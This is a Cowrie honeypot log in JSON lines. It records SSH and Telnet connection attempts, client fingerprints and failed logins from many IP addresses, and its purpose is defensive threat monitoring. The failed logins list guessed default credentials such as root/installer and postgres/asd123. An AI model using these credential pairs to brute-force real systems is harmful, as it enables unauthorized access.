{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:42:42.773163Z","src_ip":"2.57.122.208","session":"bb7ab686669a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":50380,"dst_ip":"10.17.0.5","dst_port":22,"session":"822c34ecabae","protocol":"ssh","message":"New connection: 103.15.226.202:50380 (10.17.0.5:22) [session: 822c34ecabae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:42:45.715319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:42:45.719938Z","src_ip":"103.15.226.202","session":"822c34ecabae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:42:45.967975Z","src_ip":"103.15.226.202","session":"822c34ecabae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"1","message":"login attempt [debian/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:42:46.716859Z","src_ip":"103.15.226.202","session":"822c34ecabae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:42:47.967497Z","src_ip":"103.15.226.202","session":"822c34ecabae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.183.192","src_port":57038,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ef16b3e3850","protocol":"telnet","message":"New connection: 103.153.183.192:57038 (10.17.0.5:23) [session: 3ef16b3e3850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:43:44.466335Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.43.52.43","src_port":46580,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0e30311279d","protocol":"telnet","message":"New connection: 213.43.52.43:46580 (159.203.135.109:23) [session: f0e30311279d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:43:53.646396Z"}
{"eventid":"cowrie.session.closed","duration":32.549790382385254,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:44:26.196043Z","src_ip":"213.43.52.43","session":"f0e30311279d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.99406552314758,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:44:32.460263Z","src_ip":"103.153.183.192","session":"3ef16b3e3850","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":44708,"dst_ip":"159.203.135.109","dst_port":22,"session":"adb3e18a8f7e","protocol":"ssh","message":"New connection: 2.57.122.208:44708 (159.203.135.109:22) [session: adb3e18a8f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:45:19.531228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:45:19.540649Z","src_ip":"2.57.122.208","session":"adb3e18a8f7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:45:19.742789Z","src_ip":"2.57.122.208","session":"adb3e18a8f7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:45:20.550893Z","src_ip":"2.57.122.208","session":"adb3e18a8f7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:45:21.728864Z","src_ip":"2.57.122.208","session":"adb3e18a8f7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"153.67.119.22","src_port":63779,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbe029ac14e6","protocol":"telnet","message":"New connection: 153.67.119.22:63779 (159.203.135.109:23) [session: bbe029ac14e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:45:51.802298Z"}
{"eventid":"cowrie.session.closed","duration":13.010555505752563,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:46:04.812726Z","src_ip":"153.67.119.22","session":"bbe029ac14e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":59112,"dst_ip":"10.17.0.5","dst_port":22,"session":"542cae9cfc49","protocol":"ssh","message":"New connection: 103.15.226.202:59112 (10.17.0.5:22) [session: 542cae9cfc49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:46:21.535696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:46:21.541797Z","src_ip":"103.15.226.202","session":"542cae9cfc49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:46:21.788176Z","src_ip":"103.15.226.202","session":"542cae9cfc49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"installer","message":"login attempt [root/installer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:46:22.527190Z","src_ip":"103.15.226.202","session":"542cae9cfc49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:46:23.775156Z","src_ip":"103.15.226.202","session":"542cae9cfc49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":62917,"dst_ip":"10.17.0.5","dst_port":23,"session":"a69033848318","protocol":"telnet","message":"New connection: 212.55.149.117:62917 (10.17.0.5:23) [session: a69033848318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:46:31.635620Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":55296,"dst_ip":"10.17.0.5","dst_port":22,"session":"7009c1b4a133","protocol":"ssh","message":"New connection: 57.128.223.80:55296 (10.17.0.5:22) [session: 7009c1b4a133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:46:42.663211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:46:42.692129Z","src_ip":"57.128.223.80","session":"7009c1b4a133","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:46:42.797601Z","src_ip":"57.128.223.80","session":"7009c1b4a133","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"testtest","message":"login attempt [tester/testtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:46:43.234282Z","src_ip":"57.128.223.80","session":"7009c1b4a133","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:46:44.355138Z","src_ip":"57.128.223.80","session":"7009c1b4a133","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":34362,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9515c31ea9a","protocol":"telnet","message":"New connection: 129.232.238.42:34362 (159.203.135.109:23) [session: f9515c31ea9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:46:46.280367Z"}
{"eventid":"cowrie.session.closed","duration":0.0062122344970703125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:46:46.286357Z","src_ip":"129.232.238.42","session":"f9515c31ea9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":36936,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9ee5612d6ef","protocol":"telnet","message":"New connection: 129.232.238.42:36936 (159.203.135.109:23) [session: b9ee5612d6ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:46:51.124942Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":46244,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fa3f3025c2e","protocol":"ssh","message":"New connection: 98.70.48.241:46244 (10.17.0.5:22) [session: 0fa3f3025c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:47:10.692444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:47:10.777812Z","src_ip":"98.70.48.241","session":"0fa3f3025c2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:47:11.271064Z","src_ip":"98.70.48.241","session":"0fa3f3025c2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"asd123","message":"login attempt [postgres/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:47:12.096770Z","src_ip":"98.70.48.241","session":"0fa3f3025c2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:47:13.307980Z","src_ip":"98.70.48.241","session":"0fa3f3025c2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.227.13.69","src_port":35070,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e07cadcf83c","protocol":"telnet","message":"New connection: 212.227.13.69:35070 (159.203.135.109:23) [session: 4e07cadcf83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:47:15.146085Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.190.252.123","src_port":30554,"dst_ip":"159.203.135.109","dst_port":22,"session":"bac160cd6268","protocol":"ssh","message":"New connection: 113.190.252.123:30554 (159.203.135.109:22) [session: bac160cd6268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:47:28.953065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:47:29.047195Z","src_ip":"113.190.252.123","session":"bac160cd6268","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:47:29.646594Z","src_ip":"113.190.252.123","session":"bac160cd6268","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"R@@t","message":"login attempt [root/R@@t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:47:33.688644Z","src_ip":"113.190.252.123","session":"bac160cd6268","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:47:35.226594Z","src_ip":"113.190.252.123","session":"bac160cd6268","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.69225239753723,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:47:35.327773Z","src_ip":"212.55.149.117","session":"a69033848318","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":56796,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8f3321b51aa","protocol":"ssh","message":"New connection: 2.57.122.208:56796 (159.203.135.109:22) [session: a8f3321b51aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:47:50.832786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:47:51.022547Z","src_ip":"2.57.122.208","session":"a8f3321b51aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:47:51.122761Z","src_ip":"2.57.122.208","session":"a8f3321b51aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:47:51.927945Z","src_ip":"2.57.122.208","session":"a8f3321b51aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:47:53.137514Z","src_ip":"2.57.122.208","session":"a8f3321b51aa","protocol":"ssh"}
